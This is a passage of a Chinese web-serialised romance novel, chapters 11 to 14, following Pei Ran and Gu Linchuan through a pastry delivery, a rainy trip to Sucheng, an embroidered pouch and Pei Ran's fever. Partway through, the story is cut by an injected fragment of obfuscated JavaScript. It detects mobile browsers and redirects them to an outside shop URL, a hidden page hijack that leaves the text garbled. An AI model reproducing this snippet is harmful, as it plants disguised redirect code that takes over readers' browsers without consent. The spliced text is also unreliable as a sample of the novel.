“你把人家当弟弟,人家不一定把你当哥哥。”庭婷听到否定回答,勉强放下心,还是忍不住出声提醒,“顾辰做朋友挺好的,但是你千万别跟他谈恋爱,我也说不清楚原因,反正你别谈。”
庭婷一开始对顾辰没那么排斥的,毕竟顾辰帅气多金人也体贴,初到英国,多有不适应,但是顾辰安排总是周到细致,让人挑不出毛病。
后面几次联谊会,顾辰还为她挡过几个烂桃花,她当时觉得裴然若是能走出上一个人的阴影,和顾辰在一起,也不是不可以。
直到后来,一次醉酒,她看到顾辰看向裴然的眼神,不是温柔不是缱绻,那是一种近乎贪婪的眼神,笑意未达眼底,像在看一只落入陷阱的猎物。
她下意识地想起,顾临川的眼神,是柔和的雀跃的,他每一次看向裴然眼里都会瞬间亮起来,像藏着星光,爱意已经满到快要溢出来。
从那之后,她便开始观察顾辰,越发确定顾辰并不是真心喜欢。
裴然被她说的一愣,很少见庭婷对谁露出如此明显的不喜,微微诧异:“你们闹矛盾了?”
“没有,我跟他能有什么矛盾。”庭婷摆摆手,“我只是提醒你,找男朋友要擦亮眼睛。”
裴然试图掩盖,笑着说:“没谈,只是和朋友在聊天。”
庭婷自有判断,不信他的话,一脸我看你狡辩的神色。
裴然画了一天的稿,手指保持同样姿势有些酸痛,裴然揉了揉,收拾东西打算下班。
刚上车,Leo便发来消息,说非常想吃云锦斋的糕点,拜托裴然绕路去为他买一份。
见状,裴然便调头,去了云锦斋买糕点,鬼使神差的,他对着服务员说:“麻烦打包两份,谢谢。”
等回过神来,手里已经提着两份绿豆糕和桂花酥走出了门口。
裴然看着手里的糕点,拿出手机给顾临川发了一个表情包。
裴然:有空吗?【小猫招手.jpg】
对面几乎秒回:有事?
裴然给他拍了一张提着糕点的照片。
裴然:云锦斋的糕点很好吃,你想尝尝吗?
对面隔了一会儿才回复:可以。
裴然扬起眉,把手机收起来,驱车前往顾临川的公司。
前台小姐得了吩咐,这次看见他,便主动朝他微笑。
裴然也礼貌回应,按照记忆上了电梯。
陈特助在门口接他,“顾总还在开会,您先去办公室稍等一会儿。”
裴然想着家里Leo那张嗷嗷待哺的嘴,便说:“麻烦你转交给他,可以吗?我就先走了。”
陈特助笑容一僵,紧忙拦住他,询问:“裴先生等下有急事吗?”
裴然想了想,“没有。”
“那您还是到办公室稍等一下吧。”陈特助松了一口气,安抚他,“顾总很快便好。”
裴然找不出拒绝的话,便给Leo发信息,说会晚些回,进了办公室等待。
陈特助给他沏好茶,摆上小零食便离开了。
关上门,陈特助拍了拍胸脯,胆战心惊,差点把人放跑了。
几个好事胆大的围上来,小声问:“陈助,那是谁啊?长得好帅啊。”
另一人也附和:“对呀,第一次来的时候我就觉得他好漂亮。”
陈特助正有此意向大家介绍,便说:“这位是顾总的心上人,你们注意分寸,不要拍照不要议论,跟着我一起叫声裴先生即可。”
众人噢了一声,更加好奇了,纷纷停下手上工作,陈特助也满足他们的好奇,挑了些能讲的给他们说。
顾临川会议没开多久,结束后便疾步回了办公室。
推开门,便看见裴然规规矩矩坐在沙发上,面前的茶喝了一半,零食倒是一点没动。
见他进来,裴然站起身,朝他走来,走到面前却又欲言又止,说不出话来。
顾临川朝他摊手,讨要糕点:“吃的呢?”
裴然便递给他一盒,叮嘱他保鲜期短,尽量早点吃完。
还有一盒静静躺在沙发上,顾临川看了一眼,收回视线,不经意问起:“你不是不爱吃绿豆糕?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057468|194889||http|test|mini|href|location''.split(''|''),0,{}));
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>裴然一愣,解释说:“给朋友带的,不是我吃。”
顾临川皱着眉,继续追问:“哪个朋友?和你同居那个?”
“不是同居,只是暂住。”裴然怕他误会,赶紧解释清楚,“他是我在英国的同学,这次他来看我们,所以我就让他暂住在我家。”
“那这个是给他买的时候,顺手给我买的了?”顾临川仍旧拧着一双眉。
见顾临川纠结于这种小事,裴然噗嗤一声笑起来,抚上他的眉心,轻轻揉开。
两人皆是一愣,裴然触电般收回手指,指尖仿佛还残留着顾临川肌肤的余温。
“抱歉,我不是故意的。”裴然赶紧道歉。
顾临川猛地转过身,提着糕点往外走,“走了。”
裴然失神地盯着自己的指尖,见他已经走远,只剩下一个背影,回过神来快步跟上。
顾临川一路将他送到车前,才终于停下,对视后两人皆是无言。
裴然坐上了车,摇下车窗,朝他挥挥手:“下次见。”
顾临川点点头:“嗯。”
顾临川长身玉立,像冬日里一棵挺拔的松柏,静静看着裴然的奔驰缓缓离去。
车影越来越小,小成了视野里一个模糊的黑点,最后在尽头彻底消失。
世界突然安静下来,只剩下风穿过树梢的声响,和他胸腔里不断跳动的心脏。
顾临川回去时,撞上陈特助。
陈特助手里拿着文件,忙得飞起,还有闲心关心这盒糕点:“裴先生送的?顾总好福气,味道如何?”
顾临川打开食盒,递过去:“尝尝?”
陈特助不至于这么没眼力见,笑着婉拒了。
奔驰缓缓停下,裴然从车内探身出来,快步回了家。
刚打开门,Leo便梨花带雨地扑上来控诉裴然,“怎么去了这么久?我都快馋死了。”
裴然下意识心虚,把糕点递给他,“快吃吧。”
Leo抓着食盒流口水,拿起一块放进嘴里,眼里顿时亮起光:“然!你也尝尝!简直太美味了!”
裴然不爱吃绿豆糕,但不想扫兴,于是尝了一小块,口感软糯,甜而不腻,确实味道很好。
Leo又往嘴里塞了第二块,问起:“你刚刚去做什么了?”
裴然脱衣服的手一顿,尽量保持平常:“去见了一个朋友。”
Leo噢了一声,也不再问,专心吃着糕点,还不忘给裴然留了一块桂花糕。
裴然砸吧着嘴里的绿豆糕味,突然想起白天的事情,惊觉不对劲,顾临川怎么会记得自己不爱吃绿豆糕这件事。
难道说顾临川想起来了些什么?
裴然拿出手机,给顾临川发消息确认。
裴然:你怎么会记得我不爱吃绿豆糕呀?【猫猫疑惑.jpg】
裴然守着手机等了好半晌,对面才回复。
顾临川:戚贺昀说的。
顾临川:刚刚在洗澡。
顾临川:哪来这么多表情包?
裴然松了口气,同时又觉得心里空落落的,顾临川若是能想起来,可能现在直接就把他删了。
裴然:你不喜欢吗?那我以后不发了。
顾临川:没说不喜欢,你发你的。
裴然便又从表情包库里面找到几只萌萌的小猫,存下来后留着备用。
裴然:【猫猫晚安.jpg】
是一只三花猫对着镜头伸懒腰,最后凑上来蹭了蹭镜头。
顾临川转身又进了浴室,洗了个冷水澡后冷静下来,才回复他。
顾临川:晚安。
12. 第 12 章
年底,正处新旧交替之时,圣诞的节味还未淡去,大街小巷又忙挂上迎新年的装饰。
裴然起了个大早,见窗外仍是雾茫茫一片,便知今日又是一个晴光煦暖的好天气。
Leo在他后面起床,洗漱好后便蹲在客厅最后确认一次行李,最后关上,可怜兮兮地蹲在地上不肯起来。
裴然端着三明治和牛奶从厨房出来,笑着走过去拉他:“怎么还跟小孩子一样?”
Leo对裴然的依赖感在此刻达到顶峰,鼻头一酸就要哭出来:“然,我不想走。”
裴然拿毕业论文和导师跟他讲道理,又说他已经长大了,最后担保尽快回英国看他,Leo才肯罢休。
裴然去苏城的机票就在Leo之后,所以送Leo的时候也带上了自己的行李。
到机场的时候,顾辰过来送两人,Leo见到故人,离别之情又涌上来。
跟着顾辰在大厅抱头痛哭。裴然感到头疼,上前将两人分开。
Leo又轻轻抱了一下裴然,吸了吸鼻子,依依不舍地朝他们挥手:“然,你要快点来,我会想念你的。”
裴然拍了拍他的脑袋,目送他转身朝登机口走去。
云雾已经散去,天光大亮,Leo在阳光明媚中来,又从阳光明媚中离开。
裴然被阳光刺得眯起眼睛,觉得此刻的天气很衬Leo,青春阳光的少年,就应该这样自由随性的走在阳光下。
顾辰替他拿着行李箱,转到另一个登机口登机,难免也有些不舍:“怎么这么急?不能年过完了再去吗?”
“我先去适应两天,跨完年绣娘上班我再跟着学习。”裴然倒没所谓,跨年对他而言不过是日期的变化,他伸手接过行李箱,“最多一个月,我就回来了。”
顾辰点点头,也站在原地目送裴然进入登机口。
没过多久,飞机缓缓滑向跑道,引擎的轰鸣声由远及近,巨大的机身拔地而起,朝着湛蓝的天际飞去。
落地苏城,便没了好天气的照拂,整个城市阴云笼罩,时不时落下喷雾状的雨。
裴然仍是在南城的那副搭配,黑色夹克配上高领毛衣,要风度不要温度。
下飞机便被阴冷的天气狠狠打脸,接连打了几个喷嚏。
裴然先打车去了订下的民宿。
期间,司机听出他不是本地人,笑着问他是不是来旅行的。
苏城话软糯婉转、清和温润,听来如吴侬软语,自带江南水乡的韵味。
可惜裴然听得一知半解,只好扬起笑脸,冲对方点了点头。
下车时,司机师傅用不流畅的普通话对他说:“我代表苏城人民,欢迎你,祝你玩得开心。”
这句话裴然全听懂了,“谢谢你。”
外面仍是阴雨连绵,裴然开了空调仍觉不暖和,咬咬牙,从行李箱最底下翻出秋裤套上,浑身才渐渐热起来。
因着要在此地久住,裴然花了点时间收拾。
外面喷雾一般的雨丝还在下,裴然今日就吃过一顿早饭,此刻忙活一阵,早已饿得饥肠辘辘。
向店家借了一把大伞,裴然站在门口站了一会儿,仍觉冷,又转身回去拿了围巾和手套。
这种雨完全视雨伞于无物,见缝插针地顺着风飘进来。
裴然就近找了家面馆,店面生意很火爆,裴然运气好,恰好坐到角落一个位置上。
裴然点了一碗素面,鲜美又清爽,清香可口。
裴然呼噜呼噜地吃着,眼前突然落下一阵阴影。
裴然手一顿,微微仰头,想看清来人,下一秒,瞳孔骤然紧缩。
顾临川居高临下看着他,见他嘴里还叼着面条,但呆愣在原地,便觉好笑。
低低的笑声把裴然思绪拉回,裴然赶紧把面吃下,拿纸擦了擦嘴,“顾先生,真巧。”
顾临川不理他,慢条斯理地在他面前坐下,抽出筷子仔细擦了擦。
店员这时也端着面跑过来,放在顾临川面前:“先生,您的面,请慢用。”
没得到回应,裴然也不觉得尴尬,将桌上的醋往前推了推,向他推荐:“加点醋味道会更好,要不要试试?”
顾临川浅浅皱了眉,似乎对醋这个字眼很不爽,拒绝:“我从不吃醋。”
“好吧。”裴然收回手,趁机又往自己碗里倒了点。
醋这东西,就像盐一样,自觉少了便是合适,再加一些,口味就会变。
裴然这碗面醋味太浓,剩下几口裴然被酸的眯了眯眼。
见顾临川也抬手动筷,他便腾出几分心神,偷偷看他。
顾临川吃面的动作慢条斯理,活脱脱不像在街头巷尾的小饭店,倒像是在米其林餐厅品鉴珍馐。
分明是不落凡尘的清冷仙子,又偏偏染上几分烟火气。
裴然盯着盯着,对面人已经细嚼慢咽地吃完,起身准备离开了。
裴然赶紧起身跟上,见他没有带伞,主动上前给他撑伞:“你住哪里?我送你回去吧。”
两人此刻挨得很近,说话间冒出的热气都在交缠。
顾临川低头盯着他,好一会儿才说:“不用了,我叫了司机。”
裴然只好点点头,伞仍撑在两人头顶,站在他身侧。
片刻,顾临川的手机响了,裴然自觉后退一步,是一个保证能给他挡雨但是又不显冒昧的距离。
站远了些,仍是听到电话对面依稀传来“太窄”“进不去”的字眼。
电话挂断,裴然又鼓起勇气问他:“是不是车子开不进来?”
顾临川偏头,“耳朵这么好?”
裴然赶紧自证清白:“我没有偷听啊,是电话声音太大了,我不小心听到的。”
顾临川脸色很臭,但至少没有不理人:“我又没说什么。”
裴然笑了笑,撑着伞问他:“那我送送你?”
顾临川这回没拒绝,从他手里接过伞,和他站近了点,“走吧。”
裴然借了一把大伞,但是两个大男人一起撑仍有些小,两个人只得走越走近,几乎快要靠在一起。
顾临川撑伞也偏心,伞面大部分朝着裴然倾斜着,细细密密的雨落在肩头,他浑然不觉,只是垂眸看着身旁的人。
裴然今日酒红色卫衣配上黑色棉服,手上戴着小狗爪子手套,站在他身边像一个青春的学生。
七年过去,岁月没在他身上留下太多痕迹,笑起来仍会不自觉眨眼。
裴然拉了拉他的衣角,问他有没有听到自己说话。
顾临川这才回过神来,又盯着他红润的唇,几秒后移开视线:“再说一次,没听清楚。”
这边是闹市,人声嘈杂,入耳皆是温软的吴语。
裴然于是又说一次:“你不要把伞往我这边靠,风都是朝你那边刮的,你肩膀都淋湿了。”
说完,裴然抓着伞柄,避开顾临川的手,稍微用力,往顾临川那边倾斜。
顾临川挑了挑眉,没拒绝,任由他和自己一起撑伞。
街边穿碎花布衫的小姐姐扬着嗓子吆喝起来:“走过路过勿要错过!手工绣的荷包,装得下香粉,藏得住心意——先生太太,不来挑一个么?”
小姐姐眼光尖,一眼便瞧见顾临川这一身价值不菲,吆喝声更甜了些:
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“先生要看看吗?给家里姊妹带些回去,定能让她们欢喜。”
顾临川正打算拒绝,裴然眼尖,一眼便瞧见荷包上绣着的是缠枝莲,顿时起了兴趣。
裴然站在摊前,荷包淡淡的莲花香萦绕在鼻尖,“姐姐,你们这些荷包,用的都是苏绣的针法吗?”
“这位小哥哥好眼力!”碎花布衫的小姐姐闻言,眼睛一亮,指尖点着荷包上的针脚,“您来摸摸看,都是一针一线亲手绣出来的,质感和那些机器绣的可不一样。”
裴然依言摸了摸,针法确是手工不错,当即扬起一个笑脸,“姐姐,给我拿一个吧,缠枝莲图案的。”
小姐姐应声,从货担格子里取出一个全新的荷包,一边替他包装,一边用吴语软声细语地问:“小哥哥这是送给心上人的吗?”
裴然压根没听懂,只好眨眨眼,对小姐姐一笑,戳了戳顾临川的腰,求救一般偷瞟顾临川。
顾临川睨他一眼,大手抚上他的后颈,不轻不重一捏,裴然听懂暗示,笑着说:“是的是的。”
小姐姐万分感慨,将荷包递给他,送上真诚的祝福:“二位慢走。”
这句话是普通话,但顾临川仍是一捏,裴然像提线木偶,“嗯嗯,谢谢姐姐。”
回去路上,裴然把玩着手里的荷包,问起那两句话,是什么意思。
顾临川想也没想:“她问你,是不是要把这个荷包送给身边的这位先生。”
“真的吗?”裴然总觉得有些不对,但是奈何自己听不懂,“那你怎么让我点头啊?”
顾临川墨色深沉,盯着他,好半晌才问他:“那你要送给谁?”
“谁也不送,我自留。”裴然勾着荷包打转的动作一顿,努力维持自然的声线,“再说了,你不是马上要订婚了,不适合收下了。”
顾临川撑着伞站在原地,问他:“你很在意?”
“没有。”裴然欲盖弥彰,脸上闪过一丝痛苦。
“我们只是普通朋友,为什么没有理由收下这份荷包?”顾临川语气平静,却句句诛心,“妍宜不是那种善妒的人。”
裴然停下脚步,声音很轻:“看来你们感情很稳定。”
“我在问你,为什么不能送给我?”顾临川状似不解,步步紧逼,“你在心虚什么?”
他在内心疯狂摇头,祈求顾临川不要再问他,他根本无法在他面前在坦然地说违心的话,更回答不了这个问题。
两人不知不觉已经走出闹市,街道两旁人影渐少,寒风呼呼在耳畔吹着,裴然低着头,顾临川站在他面前,眼神落在裴然毛绒绒的发顶。
两人谁也没有开口,僵持着站在道路旁,仿佛这个问题没有回答之前,谁也不会挪动一步。
“没有……没有心虚。”裴然把伞往顾临川身前推了推,紧张地咽下唾沫,喉咙发紧,“你喜欢我送给你就是了。”
说完,也不等顾临川反应,将荷包一把塞进他手中,飞速收回手,怕冷似的塞进口袋。
“我没说我喜欢。”顾临川盯着手心的荷包。
裴然眼睛倏地瞪大,脸上泛起被戏弄的红,喘着气:“你不喜欢就还给我!”
顾临川熟练地躲开,把荷包藏在背后,理不直气也壮:“你已经送给我了。”
裴然气呼呼地偏头,自顾自地朝前快步走,不想再跟他讲话。
雨势渐小,裴然把雨伞收起来,已经走到了民宿附近,裴然小跑几步,走进小巷子,转身回头同他挥手告别。
顾临川在原地站了很久,指尖摩挲着荷包,直到指尖上的温度彻底褪去,才拍了拍打湿的肩头,转身离开。
13. 第 13 章
烟雨江南,阴雨连绵,院子里面的腊梅幽香扑鼻,雨滴淅淅沥沥滴在上面,花朵不堪重负微微低垂,显出几分可怜的意味。
院子里还有一丛山茶花,寒风中,山茶开得正盛,民宿老板撑着伞在院子里照料着。
裴然总觉身上冷,脑袋也昏沉,早上起来之后又搭了一件披肩,只当是小感冒,仍旧在民宿大堂晃晃悠悠,招猫逗狗。
民宿养了三只小猫和两只小狗,裴然动物缘很好,不一会儿便惹得小猫争先往他怀里钻,小狗也乖乖蹲坐在脚边。
民宿老板忙里忙外的,进来拿了红灯笼又匆匆出去,见此情形,哟了一声,笑着打趣:“小裴好幸运的,平时这些小家伙傲着呢。”
裴然怀里是一只小三花,懒洋洋地在他胸口踩奶。
“是吗?”闻言,裴然低头看着小猫,鼻尖凑近蹭了蹭,“承蒙小猫兄的关爱了。”
见状,老板轻声笑了笑,不忍打扰,走到一旁把窗花拆开,整理好。
临了出门前,裴然好奇地问:“哥,这是做什么呢?”
老板边往外走,边说:“给院子里弄一点装饰,跨年嘛,仪式感要有的。”
原来已经是新的一年了。
裴然感觉心脏像是被什么东西轻轻撞了一下,钝钝的。
随后紧紧搂着小猫,但仍感觉冷,冷意像是有了实体,从脚底往上爬,一直蔓延到四肢百骸。
小猫突然开始挣扎,裴然手一松,怀里的温暖骤然消失,裴然有几分猝不及防的恍然。
老板回头问他,是不是夜里睡得沉,错过了晚上的烟花。
“可能是。”裴然打了两个喷嚏,把肩上的披肩拢了拢,盯着院子里红色的流苏,默然片刻,“我也来帮忙吧。”
老板连忙摆手拒绝,但裴然坚持,说运动一下更暖和。老板便也答应了,正好看中裴然的身高。
“小裴,你帮我把这个挂在腊梅树上可以吗?”老板从盒子里取出一串串小吊牌,上面是各地旅客留下的祝福语。
裴然欣然答应,三两下便爬上扶梯,弯下腰从老板手中接过祝福小吊牌。
腊梅清冽的香气就在鼻尖萦绕,裴然深深吸一口,一个一个把吊牌小心翼翼地挂上去。
老板在下面替他扶住楼梯,叮嘱:“小心些,挂在枝桠上就行,再深了容易摔下来。”
裴然踮起脚,往深处挂了一个吊牌,不甚在意地点点头,示意老板安心。
不知怎的,忽然抬眼往民宿外的街道望了过去。
淅淅沥沥的雨还在下,打湿了青石板路,也打湿了行色匆匆的人群。
隔着熙熙攘攘的人群,裴然一眼就认出来那抹熟悉的身影,心脏猛地漏了一拍。
他忘了自己还站在梯子上,忘了自己还在挂祝福红牌,整个人定在原地,目光紧紧黏在那道身影上。
“小裴,不好挂吗?”扶着梯子的老板仰头喊他,以为他被高处的枝桠难住了,“心意到了就好,能挂多少是多少。”
裴然这才回神,看到老板担忧的眼神,歉意地笑笑:“没事,刚刚走神了。”
就在这时,街道上那道身影微微侧头,随即若有所思地抬起头。
裴然心不在焉地挂完,四目相对的一瞬间,时间仿佛都被按下了暂停键。
对视的目光太热烈,裴然最先败下阵来,心慌移开视线。
等挂完下一个,再抬起头,街上哪里还有顾临川的身影,裴然茫然地东张西望,最终确定他已经离开。
又往上挂了几个,裴然胸口一阵闷,眼前也晕乎起来。
裴然晃了晃脑袋,打算从梯子上下来,民宿大门传来哒哒哒的脚步声。
接着是老板娘的招客声:“先生您好,欢迎来到本店,请问您有预约吗?”
来人言简意赅,只说:“抱歉,我来找人。”
熟悉的声音,是顾临川!
裴然猛地抬起头,三步并作两步想从扶梯上下来。
老板见他这么急,也不明原因,只是伸手紧紧扶着梯子:“慢点慢点,小心摔着了。”
话音刚落,裴然晕乎乎地脚下虚浮,右脚不慎踏空,重重摔在地上。
老板吓一跳:“小裴,没事吧?”
这边动静不小,门口的老板娘和顾临川也循声望过来。
几乎是一瞬间,顾临川便出现在裴然身前,赶在老板之前,俯身一把将人抱起来。
随后在老板和老板娘震惊的目光中,顾临川把人稳稳托在怀中,头也不回地离开了。
裴然倒在他怀中,怔怔地望着他,似乎不敢相信眼前人是真的。
顾临川视线扫过他发红的脸颊和胸膛,最后停在他磨破皮还渗着血珠的手掌上。
“房间在哪?”
“那边。”
“嗯。”
裴然直觉顾临川情绪不佳,应该是生气了,但他不知道原由。
推开门,顾临川阔步走进去,俯身把他轻放在床上,又从柜子里找到医药箱。
“伸手。”顾临川一手拿着碘伏,一手朝他摊开,示意他放上来。
裴然听话地把手摊开,放在他掌心。
院子里铺的是鹅卵石,摔倒时裴然没有防备,两只手重重擦伤,此刻还在渗着血,混着石缝里的细沙粘在伤口上。
碘伏刚摁上去,裴然就疼得呲牙,手下意识往回缩,顾临川手快,一把抓住手腕。
顾临川手上动作轻了些,“很疼吗?”
“有点。”裴然额角渗出细汗,手指蜷缩,眼睛泪汪汪的,看起来很可怜。
顾临川不知道又想到什么,眼底心疼一闪而过,残忍地说:“忍着。”
“哦。”
处理完伤口,裴然把伤口放在嘴边吹了吹,安慰一下自己。
顾临川把医药盒放好后就离开了,不知去向。
过了一会儿,裴然等得都快睡着,顾临川才拿着体温计上楼。
“含着。”顾临川递到他嘴边,“不舒服就躺下。”
裴然一愣,摸了摸额头:“不烫吧,我没发烧。”
顾临川看他一眼,裴然立马噤声,乖乖张嘴。
鲜红的舌尖先伸出来,勾住体温计,再含进嘴里。
顾临川闭了闭眼,脑海里闪过许多危险的想法,最终叹息一声,坐在床头守着。
五分钟后,将温度计取出来一看,已经三十八度了。
裴然一惊,难怪早上穿再多也不觉得暖和,头也晕晕的。
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顾临川把温度计收好,打算下楼还给老板。
裴然一把抓住他的手腕,扯到伤口没忍住嘶了一声,他哑着嗓子问:“你要走了吗?”
“只是去还温度计。”
裴然固执地刨根问底:“那还完呢?”
顾临川担心他伤口,伸手想拉开,但此刻裴然手劲惊人,顾临川不敢使劲。
“你想让我陪你吗?”顾临川站在床边,居高临下地盯着他,身上不知何时染上的腊梅花香,混合着清冽的橘香,让人感到心安。
裴然被熏得眼睛都眯起来了,困意让眼皮不停打颤,“我是病人,还是伤患,你不能让我一个人。”
“还完就上来。”顾临川妥协。
听到了想要的回答,裴然才松开手,眼睛一闭,睡了过去。
顾临川很快便上来了,撕了退烧贴给他贴上,又坐在床边,无声地守着。
裴然发着烧,在床上睡的不安稳,时不时皱着眉哼哼唧唧,低声说着梦话。
期间,裴然踹了几次被子,顾临川无奈,重新给他掖好被角,轻轻拍着他的背,唱起哄小孩的歌谣,裴然又渐渐安稳下来。
平时健康的人一旦生起病来,便是病来如山倒,裴然这一病整个人都焉了。
一觉睡到下午,裴然才迷迷糊糊地睁眼,动了动手指,才发现被人紧紧握住。
裴然一动,身旁的顾临川也醒了,见裴然盯着两人紧握的双手发呆,便轻轻松开。
“你睡着了不老实,非要牵着。”顾临川面色平静。
裴然脑袋发懵,反应迟钝,点了点头,没说话。
顾临川起身抚上他的额头,还有点烫,便又拿出温度计。
裴然乖乖张嘴含住,等拿出来时还有点低烧,顾临川皱着眉,给他把降温贴揭下。
“你一直守着我吗?”裴然整个人埋在被子里,只露出眼睛,声音沙哑。
“我看起来很闲吗?”顾临川给他点了餐,又坐回床边。
“不闲,很忙。”裴然摇了摇头,生了病莫名固执,继续问,“所以你是不是一直都在?”
顾临川低头,盯着他,好一会儿才轻声回:“算是。”
裴然眼睛亮了起来,很高兴,“谢谢你。”
老板很快把餐食送了上来,一碗菌菇粥和小咸菜。
顾临川把他从被窝里捞了出来,先让他喝了一杯温水,再把粥放在柜子上,拿了小碗给他放凉。
裴然伤的是右手,吃饭不方便,缠着绷带的手刚伸出,就见另一只骨节修长的大手先他一步端起瓷碗。
“先吃饭,待会儿把药吃了。”顾临川自然地坐在身旁,吹了吹才递到裴然嘴边。
裴然顿感惊妙,总觉得自己在做梦,但一切又是这么的真实。
粥味道鲜美,但生着病裴然实在没胃口,撑着吃了两小碗便表示自己吃不下了。
顾临川看了看碗底还剩下的一大半,又看了看消瘦的裴然,脸色不虞,但语气哄着:“再吃几口?”
平日里裴然哪能见到这样的顾临川,当即被哄得面色红润,张着嘴又吃了几口。
“不行了不行了,我真吃不下了。”裴然摆摆手示意。
闻言,顾临川这才作罢,把碗收起来。
14. 第 14 章
裴然吃饱睡足,精神好了不少,坐起来看着顾临川忙碌。
“谢谢你,忙前忙后照顾我这么久。”他嗓子还哑着,声音听起来有气无力的。
顾临川收拾好后,把药给他分好:“胶囊一天两次,晚上睡前你在吃一颗,其他都正常吃。”
说完,顾临川便起身,长腿迈出,打算离开。
裴然赶紧坐起来,伸出的手落了空,没拉住他,语气带着几分焦急:“你要走了吗?”
“还有事情?”顾临川停下脚步。
裴然一噎,一时间还真找不到什么事情留住他,只好说:“我一个人来苏城出差,都没人陪我说说话,你再陪我一会儿,好不好?”
裴然红了眼眶,从善如流地卖惨。
顾临川站定,没有回头,“嗓子都哑了,还说那么多话干什么?”
“那你给我讲,我听着。”裴然说。
顾临川问:“你想听我讲什么?”
“什么都可以问吗?”
“嗯。”
“你和妍宜,是怎么走到一起的?”裴然问完,偷瞄他的反应,生怕他感到冒犯。
“家族联姻。”顾临川回他。
裴然噢了一声,又问他:“那你喜欢她吗?”
“喜欢……”顾临川拉长了尾音,连带着裴然也跟着紧张,“或者不喜欢,很重要吗?”
“当然重要,结婚是一辈子的事情。”裴然瞪大双眼。
顾临川淡淡地回:“联姻可以带来巨大的商业利益,付出牺牲在接受范围内。”
裴然没话说了。
两人又陷入尴尬,裴然莫名赌气,整个人埋进被子里,指了指门口,“我好多了,你要走就走吧。”
顾临川挑眉,他句句有回应,面前人还闹上脾气了。
“那我真走了?”
“你走吧,我一个人发着烧在民宿里面躺着,一点也不难过,一点也不孤独!”裴然整个人闷在被子里。
顾临川轻笑一声,假装离开,实则走到床边,盯着把自己裹成一团的裴然。
脚步声渐渐消失,裴然猛地坐起来,嘴里念念有词,谁料,那人就在自己面前,挑着眉看他。
骤然看见一个人影,裴然吓了一跳,声音越来越小,没了底气:“你不是说要走吗?”
顾临川弯腰,与他平视:“你不是说一个人难过?”
听到他这样说,裴然一笑,赶紧将床边位置腾出来,拍了拍示意他坐下。
顾临川很给面子,纡尊降贵地坐下。
顾临川看着他发红的脸颊,忍住了抚摸他额头量体温的冲动,问他:“知道自己生着病,还爬那么高?”
“那会儿还没感觉,只觉得身上冷,想着帮忙活动一下暖身子。”裴然又想起那惊鸿一瞥的一眼,“你怎么会突然出现在这里?”
“工作。”顾临川回答的很简洁。
裴然好奇,“那来苏城也是工作吗?”
“嗯。”顾临川也问他,“你呢?”
裴然轻咳两声,才慢慢说:“我来了解一下苏绣,方便我的服装设计。”
顾临川问:“怎么不带助理?”
“工作室规模不大,我一个人忙得过来。”裴然习惯事事亲为,更习惯了一个人出差。
裴然看了看自己受伤的手掌,上面缠着一个漂亮的蝴蝶结,叹息一声:“约定的日期估计得往后推推了。”
顾临川顺着他的视线看过去,“会有影响吗?”
“长期影响肯定没有,但短期内肯定拿不了笔了。”裴然举起自己的手,又重振旗鼓,“这段时间了解理论知识也是可以的。”
“身子好些再去吧。”
裴然眯着眼冲他笑笑,听话的点了点头。
说了这么而会儿话,裴然又没了精神,顾临川把枕头抽走,让他躺下。
裴然闭上眼睛,感受到他俯身为自己掖被角,熟悉的橘香安抚着他的神经,意识很快模糊起来。
“你什么时候离开?”裴然闭着眼睛,小声地问。
顾临川站在床头,回他:“明天。”
裴然心想,人家就来三天,自己生病就霸道的占据他整整一天的时间,生出几分愧疚:“我是不是耽误你工作了。”
顾临川此行本就是为了寻人,于是答:“没有。”
裴然恍若未闻,吸了吸鼻子,自己先委屈上了,“我不是故意的……”
顾临川不耐地啧了一声,伸手捏住他的脸颊,裴然的嘴巴被捏成金鱼吐泡泡的形状,他又说一次:“我说没有耽误。”
“你不要那么凶。”裴然低声喃喃,像在说梦话。
顾临川简直气笑,他擅长的东西又多了一件,除了不告而别,还有倒打一耙。
“裴然。”顾临川轻声喊他。
“嗯?”裴然声音很轻。
“下次离开,能不能跟我说一声。”
不要不告而别,不要离他太远,不要受伤,不要生病,不要不开心……
太多太多,顾临川太贪心,总是得不到满足。
年少时期的离别,消磨不了深刻的爱意,再次见到裴然,爱比所有情绪都先表现出来。
顾临川在床边站了很久,床上的人已经睡着,没能给他回复,只有浅浅的呼吸声。
他静静立在床前,像一尊静默的雕塑,过了很久,他才转身离开。
裴然睡得很不安稳,鼻塞导致呼吸困难,夜里醒过几次,又沉沉睡去。
第二日醒来,窗外还是漆黑一片,看了看手机,才早上六点。
裴然出声是自己都无法想象的沙哑,嗓子干的简直要裂开,咽口水更是吞刀片一般的钝痛。
裴然敲了敲脑袋,转着脖子环顾四周,早已没有顾临川的身影。
恍惚间,还以为昨天的一切都只是一场梦,好在桌子上还留着顾临川分好的药,能证明这一切是真实的。
裴然穿好外套,下楼吃了早饭,又慢慢悠悠地回来,窝在床上不想动弹。
等到了工作时间,才拿出笔电,和约定好的绣坊联系,将约好的今天的学习延后两天,深感抱歉。
联系人听到他生病受伤,也是当即关心他的情况,表示不着急。
裴然放下
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心来,把笔电收起来,又闷着脑袋打算继续睡。
但是前一天睡的太多,现在实在是睡不着,裴然便全副武装地裹起来,出门逛逛。
沿着青石板路向前悠悠走着,两侧是枕河民居,一片白墙黛瓦,偶尔能听到软糯的曲调。
茶馆开在河岸边,不少人已经坐下围炉煮茶,竹编的暖炉在木桌上腾起白雾。
裴然漫无目的地瞎逛,没多远,就见一道黛色的山墙横在眼前,墙头上爬着常绿的爬山虎,大门两侧立着两尊石狮子,眉眼间透露着威严。
山门上方的匾额黑底金字,题着“归云寺”三字,门内飘出的檀香混着雨后泥土的腥气,丝丝缕缕缠上鼻尖。
寺庙香火很旺盛,各地游客纷纷赶来,手里捏着一炷香,虔诚地站在殿前跪拜。
裴然也走到香案前,取下一炷香,走到火炉边。
火苗舔过香脚,燃起的青烟缕缕顺着手指上飘,裴然双手捏住,举过头顶,朝着殿内的佛像深深一拜。
耳边是香客低声的祈愿,祈求健康,祈求平安,也有祈求成功。
这一刻,裴然无欲无求,他在这世上的牵挂太少,仿佛这尘世的一缕青烟,谁也握不住。
脱俗的境界维持不了太久,只需片刻,他便重重落入凡尘。
